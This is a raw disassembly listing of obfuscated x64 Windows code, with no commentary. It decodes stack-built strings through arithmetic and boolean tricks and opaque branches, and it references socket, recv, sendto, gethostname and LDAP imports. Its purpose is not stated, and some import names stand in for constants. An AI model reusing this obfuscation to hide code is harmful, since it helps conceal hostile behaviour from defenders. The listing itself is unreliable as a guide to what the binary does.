sub cl, al
lea r10d, [rcx + rcx]
add r10b, byte [rbp + rbx + 0xce0]
add r10b, r11b
add r10b, dl
movabs rdx, 0x26acb0bbacbaff14
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_60
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
add cl, r10b
mov byte [rbp + rbx + 0xce0], cl
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007f9b2
movabs rdx, 0x186a1180827d6308
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, byte [rbp + rbx + 0xce0]
sub r10b, 0x38
add r10b, dl
movabs rdx, 0xa277245583fc6fc
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, recv
sub cl, al
add cl, cl
add cl, dl
add cl, r11b
movzx eax, cl
mov byte [rbp + rbx + 0xce0], al
inc r9
add rax, r9
sub rbx, rax
movabs rdx, 0xfbe4d30a2e022af0
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
mov byte [rbp + rbx + 0xce0], cl
inc r8
mov rax, r13
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0xce0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007f9b2
movabs rcx, 0xd3d9bdfc909d3a2c
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x34
movzx eax, byte [rbp + rbx + 0xce0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007f9b2
movabs rdx, 0x45eeb7d5e28a1a8c
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007f9b2
movabs rcx, 0x7ef934c28b808abc
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x24
dec rbx
inc rbx
jmp 0x14007f9b2
movabs rdx, 0xb803b1af3476faec
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x74
add r10b, dl
movabs rcx, 0x4331ef320136372c
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x34
add cl, r11b
mov byte [rbp + rbx + 0xce0], cl
inc r9
dec rbx
inc rbx
jmp 0x14007f9b2
movabs rcx, 0x2a18ab888663db4c
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x14
dec rbx
inc rbx
jmp 0x14007f9b2
movabs rcx, 0x632328752f5a4b7c
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x64
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007f9b2
movabs rcx, 0x7fa866eb83d58394
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
sub r10b, 0xc
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007f9b2
movabs rcx, 0xd538224e81472bdc
add rcx, rbx
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
sub r10b, 4
movzx eax, byte [rbp + rbx + 0xce0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007f9b2
movabs rcx, 0x976346430dfdedc4
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x5c
jmp 0x14007f9b0
movabs rcx, 0xb3e884b9627925dc
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 4
jmp 0x14007f9a0
lea rsi, [rbp + 0x15b34d0]
jmp 0x140080823
lea rsi, [rbp + 0x11d98c4]
jmp 0x140080823
lea rsi, [rbp + 0xce0]
lea rdx, [0x140228240]
lea rcx, [rbp + 0x5d8]
call fcn.140002680
mov rdi, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp - 0x38]
mov rcx, qword [0x14022e160]
call fcn.14006ca20
mov rbx, qword [rax]
mov rcx, rdi
call fcn.140002820
lea rcx, [rbx + 0x30]
call fcn.14006c4e0
mov r14, rax
mov byte [rbp + 0xd08], 0x63
mov byte [rbp + 0xd09], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0xd0a], 0x78
mov byte [rbp + 0xd0b], 0x44
mov byte [rbp + 0xd0c], WSACleanup
mov byte [rbp + 0xd0d], 0x45
mov byte [rbp + 0xd0e], 0x7f
mov byte [rbp + 0xd0f], Ordinal_79
mov byte [rbp + 0xd10], 0x7d
mov byte [rbp + 0xd11], Ordinal_79
mov byte [rbp + 0xd12], Ordinal_79
mov byte [rbp + 0xd13], Ordinal_200
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xd14], xmm0
mov dword [rbp + 0xd24], eax
mov word [rbp + 0xd28], ax
mov byte [rbp + 0xd2a], al
movabs r15, 0x9065fc0bd690dcca
movabs r12, 0x1d4db51167a67876
movzx r11d, byte [rsp + 0x40]
nop word [rax + rax]
mov r8, qword [0x14022e4a8]
mov r9, qword [0x14022e4a0]
nop
xor edi, edi
movabs rdx, 0x27eea9410a129432
movabs rcx, 0xfaaf85e82ec9f222
cmp rdi, 0x23
jae 0x1400816d7
movzx ebx, byte [rbp + rdi + 0xd08]
mov r10, rbx
nop dword [rax + rax]
cmp r8, rdi
ja 0x1400816ce
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14008096b
add rcx, rdi
mov rax, rcx
and rax, rbx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rbx
add r11b, 0x12
jmp 0x140080990
je 0x14008163b
inc rax
cmp r8, rax
je 0x1400815d0
lea rax, [r9 + 2]
cmp r8, rax
je 0x140081579
nop word [rax + rax]
cmp r9, rdi
ja 0x1400816c5
lea rax, [r9 + 8]
cmp r8, rax
jae 0x1400809c8
lea rdx, [rdi + r15]
movzx eax, dl
and al, bl
mov ecx, 0x3d
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movabs rdx, 0x27eea9410a129432
jmp 0x140080a00
lea rax, [r9 + 1]
cmp r8, rax
je 0x140081559
inc rax
cmp r8, rax
je 0x1400814f5
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400814d0
lea rax, [r9 + 4]
cmp r8, rax
je 0x14008149c
nop dword [rax + rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x140081092
nop dword [rax]
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x14008106b
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x14008103f
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x140081011
lea rax, [r9 + 4]
cmp r8, rax
je 0x140080fe9
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x140080fc1
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x140080f89
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x140080f66
lea rax, [r9 + 5]
cmp r8, rax
je 0x140080f43
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x140080f0f
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x140080a10
lea r8, [r9 + 0x64]
lea r9, [r8 + 0x28]
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x14008169d
lea rax, [r9 + 3]
cmp r8, rax
jb 0x140081675
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x140080c0b
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x140080be5
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x140080bcb
lea rax, [r9 + 4]
cmp r8, rax
jb 0x140080eae
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x140080e4e
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x140080dfd
lea rax, [r9 + 2]
cmp r8, rax
jb 0x140080dca
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x140080a10
lea r8, [r9 + 0x3e8]
lea r9, [r8 + 0x64]
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x140080d96
lea rax, [r9 + 6]
cmp r8, rax
ja 0x140080d72
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x140080d4b
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x140080d13
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x140080ceb
lea rax, [r9 + 8]
cmp r8, rax
ja 0x140080cc3
lea rax, [r9 + 1]
cmp r8, rax
ja 0x140080c9a
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x140080c6e
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x140080c47
lea rax, [r9 + 9]
cmp r8, rax
ja 0x140080a10
lea r8, [r9 + 5]
lea r9, [r8 + 2]
jmp 0x140080a10
lea rcx, [rdi + r12]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x3a
jmp 0x140080a00
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub dl, 0x5e
add r11b, dl
movabs rdx, 0x27eea9410a129432
jmp 0x140080990
movabs rdx, 0x328f9d70ac7eafee
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x3f
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movabs rdx, 0x27eea9410a129432
movabs rcx, 0xfaaf85e82ec9f222
jmp 0x140080938
movabs rdx, 0x832fe05eb486e650
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x30
add r11b, dl
jmp 0x14008159c
movabs rcx, 0x8dd0d48e56f3020c
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x54
inc r9
dec rdi
inc rdi
jmp 0x140080912
movabs rcx, 0x9871c8bdf95f1dc8
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x78
dec rdi
inc rdi
jmp 0x140080912
movabs rdx, 0xa312bced9bcb3984
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140081518
movabs rdx, 0xadb3b11d3e375540
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140081541
movabs rdx, 0xb854a54ce0a370fc
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140080912
movabs rdx, 0xc2f5997c830f8cb8
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 8
add r11b, dl
jmp 0x140081466
movabs rdx, 0xcd968dac257ba874
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x2c
jmp 0x1400815f4
movabs rcx, 0xd83781dbc7e7c430
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x50
movzx eax, byte [rbp + rdi + 0xd08]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140080912
movabs rdx, 0xf2c9e452ddf60986
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
mov byte [rbp + rdi + 0xd08], r11b
inc rdi
jmp 0x140080912
movabs rdx, 0xfd6ad88280622542
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
cmp r9, 0x61
jb 0x140080ded
movabs rdx, 0xe1ef5a82a476798c
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
add cl, cl
add cl, bl
add cl, dl
lea r11d, [rcx + rcx]
jmp 0x14008159c
movabs rdx, 0x80bccb222ce40fe
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 7
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
cmp r8, 0x3e8
jae 0x14008140b
lea rax, [r9 + 0x64]
cmp r8, rax
jbe 0x14008130b
movabs rcx, 0x4c38e45efcaf8ee4
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x3c
jmp 0x140080e20
movabs rcx, 0x12acc0e1c53a5cba
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x16
lea rax, [r9 + r8]
cmp rax, 6
je 0x14008143b
lea rax, [r9 + 3]
cmp r8, rax
jbe 0x140081205
movabs rdx, 0xbbd2e853261eb21a
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140080e71
movabs rcx, 0x6263e84707652cbc
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x24
movzx eax, byte [rbp + rdi + 0xd08]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140080912
movabs rcx, 0x6d04dc76a9d14878
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x48
jmp 0x1400815f7
movabs rcx, 0x77a5d0a64c3d6434
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x6c
jmp 0x140081466
movabs rdx, 0x8246c4d5eea97ff0
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140080912
movabs rdx, 0x8ce7b90591159bac
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140081541
movabs rdx, 0x9788ad353381b768
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140081518
movabs rdx, 0xa229a164d5edd324
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 2
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
jmp 0x140080912
movabs rcx, 0xacca95947859eee0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x20
inc r9
dec rdi
inc rdi
jmp 0x140080912
movabs rdx, 0xb76b89c41ac60a9c
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x44
add r11b, dl
jmp 0x14008159c
lea rax, [r9 + 0x7a]
cmp r8, rax
jae 0x1400810c3
movabs rdx, 0xfaaf85e82ec9f222
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 9
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140080ecc
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x140081100
movabs rcx, 0x20cbf817ad21b994
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0xc
movzx eax, byte [rbp + rdi + 0xd08]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140080912
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140081131
movabs rdx, 0xb8a0fb86849821c
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140081466
lea rax, [rcx + 1]
cmp r8, rax
jne 0x140081172
movabs rdx, 0xe91b88c5dd6660
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140080912
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14008119e
movabs rcx, 0xeba7332981052ee8
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x58
jmp 0x140081518
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400811d0
movabs rcx, 0xe1063ef9de99132c
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x34
dec rdi
inc rdi
jmp 0x140080912
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140080ecc
movabs rdx, 0xcbc4569a99c0dbb4
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0xa
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14008159c
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140081236
movabs rdx, 0xb131f42383b2965e
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14008159c
inc rax
cmp r8, rax
jne 0x140081267
movabs rcx, 0x9bf00bc43eda5ee6
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x4a
dec rdi
inc rdi
jmp 0x140080912
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400812a8
movabs rdx, 0x7c0d2f3557960bb2
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140080912
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400812d9
movabs rdx, 0x716c3b05b529eff6
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140081466
lea rax, [r9 + 6]
cmp r8, rax
jne 0x140080e71
movabs rdx, 0x66cb46d612bdd43a
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x1400815f4
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140081348
movabs rcx, 0x4197f02f5a437328
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x18
movzx eax, byte [rbp + rdi + 0xd08]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140080912
inc rax
cmp r8, rax
jne 0x140081375
movabs rdx, 0x36f6fbffb7d7576c
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 6
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x1400815f4
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400813a6
movabs rdx, 0x2c5607d0156b3bb0
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140081466
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400813d7
movabs rdx, 0x17141f70d0930438
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140081541
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140080e20
movabs rdx, 0xc732b412e26e87c
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x64
add r11b, dl
jmp 0x140081518
movabs rdx, 0xd74e6653020a5dd0
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, byte [rbp + rdi + 0xd08]
add r11b, bl
add r11b, dl
jmp 0x140081518
movabs rdx, 0xccad72235f9e4214
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
sub r11b, byte [rbp + rdi + 0xd08]
add r11b, dl
add r11b, bl
movabs rdx, 0xc75cf80b8e683436
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx ecx, bl
sub cl, al
sub cl, 0x7a
add cl, dl
movzx eax, cl
mov byte [rbp + rdi + 0xd08], al
inc r9
add rax, r9
sub rdi, rax
jmp 0x1400815f7
movabs rcx, 0x30bd665f20c3e32e
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x42
movzx eax, byte [rbp + rdi + 0xd08]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140080912
movabs rdx, 0x5b41371daa74521e
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140081541
movabs rdx, 0x65e22b4d4ce06dda
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 5
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movabs rdx, 0xd1fdec3b30d44ff2
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, bl
add cl, dl
add cl, r11b
mov byte [rbp + rdi + 0xd08], cl
add r8, r9
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140080912
movabs rcx, 0x85c507dc3424c10e
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x62
jmp 0x14008159c
movabs rdx, 0x9b06f03b78fcf886
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movabs rdx, 0xdc9ee06ad3406bae
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_35
sub cl, al
add cl, cl
add cl, dl
add cl, bl
mov byte [rbp + rdi + 0xd08], cl
inc r9
dec rdi
inc rdi
jmp 0x140080912
mov rbx, r10
movabs rdx, 0xe56d9d88e9f1baaa
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movabs rcx, 0xc20c7df3bd322658
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
sub bl, 0x68
add bl, cl
mov byte [rbp + rdi + 0xd08], bl
inc r8
mov rax, r13
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0xd08]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140080912
movabs rdx, 0xf00e91b88c5dd666
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, byte [rbp + rdi + 0xd08]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140080912
movabs rdx, 0x3d3091a04eeacbaa
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14008090e
movabs rdx, 0x47d185cff156e766
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400808f5
lea rcx, [rbp + 0x16ebbe0]
jmp 0x1400816de
lea rcx, [rbp + 0xb8ae02]
jmp 0x1400816de
lea rcx, [rbp + 0xd08]
mov dword [rbp + 0xfd0], 0x3f800000
mov dword [rbp + 0xfd8], 0x3dcccccd
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], rsi
lea rax, [rbp + 0xfd0]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xfd8]
mov r8, r14
mov edx, 8
call fcn.140037e30
mov byte [rbp + 0xd30], 0xed
mov byte [rbp + 0xd31], Ordinal_45
mov byte [rbp + 0xd32], Ordinal_217
xorps xmm0, xmm0
movups xmmword [rbp + 0xd33], xmm0
movups xmmword [rbp + 0xd43], xmm0
movabs rdi, 0xb191e8d9d5e978e1
movabs rsi, 0x113fafeb01cc693f
movabs r15, 0x3937b5c13af2bc9d
movabs r14, 0x9ed044688be6f005
movabs r12, 0x2c60d8e6160176cb
movzx r10d, byte [rsp + 0x40]
nop dword [rax]
mov r8, qword [0x14022e4a8]
mov r9, qword [0x14022e4a0]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x140082483
movzx r11d, byte [rbp + rbx + 0xd30]
mov rdx, r11
nop dword [rax + rax]
cmp r8, rbx
ja 0x140082477
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400817dc
lea rcx, [rbx + r15]
mov rax, rcx
and rax, rdx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rdx
sub r10b, 0x4b
jmp 0x140081810
je 0x1400823f2
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400823bb
lea rax, [r9 + 3]
cmp r8, rax
je 0x140082370
lea rax, [r9 + 7]
cmp r8, rax
je 0x14008231f
nop dword [rax]
cmp r9, rbx
ja 0x14008246e
lea rax, [r9 + 8]
cmp r8, rax
jae 0x14008183a
lea rcx, [rbx + rdi]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x27
jmp 0x140081880
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400822fe
inc rax
cmp r8, rax
je 0x1400822d1
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400822ad
lea rax, [r9 + 3]
cmp r8, rax
je 0x140082211
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400821dc
nop word [rax + rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x140081ef2
nop dword [rax]
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x140081ece
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x140081e9c
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x140081e72
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x140081e49
lea rax, [r9 + 8]
cmp r8, rax
je 0x140081e20
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x140081dec
lea rax, [r9 + 5]
cmp r8, rax
je 0x140081dc3
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x140081d9f
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x140081d65
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x140081890
lea r8, [r9 + 1]
lea r9, [r8 + 0x200]
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x14008244a
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x140082426
lea rax, [r9 + 6]
cmp r8, rax
jb 0x140081a80
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x140081a65
lea rax, [r9 + 4]
cmp r8, rax
jb 0x140081a4a
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x140081d07
lea rax, [r9 + 2]
cmp r8, rax
jb 0x140081ca9
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x140081c5a
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x140081c2b
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x140081890
lea r8, [r9 + 8]
lea r9, [r8 + 0x41]
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x140081bf1
lea rax, [r9 + 5]
cmp r8, rax
ja 0x140081bc9
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x140081ba0
lea rax, [r9 + 3]
cmp r8, rax
ja 0x140081b6c
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x140081b43
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x140081b1f
lea rax, [r9 + 9]
cmp r8, rax
ja 0x140081af5
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x140081ac3
lea rax, [r9 + 6]
cmp r8, rax
ja 0x140081a9b
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x140081890
lea r8, [r9 + 4]
lea r9, [r8 + 4]
jmp 0x140081890
lea rcx, [rbx + rsi]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x47
jmp 0x140081880
lea rcx, [rbx + r14]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x23
jmp 0x140081810
lea rcx, [rbx + r12]
movzx eax, cl
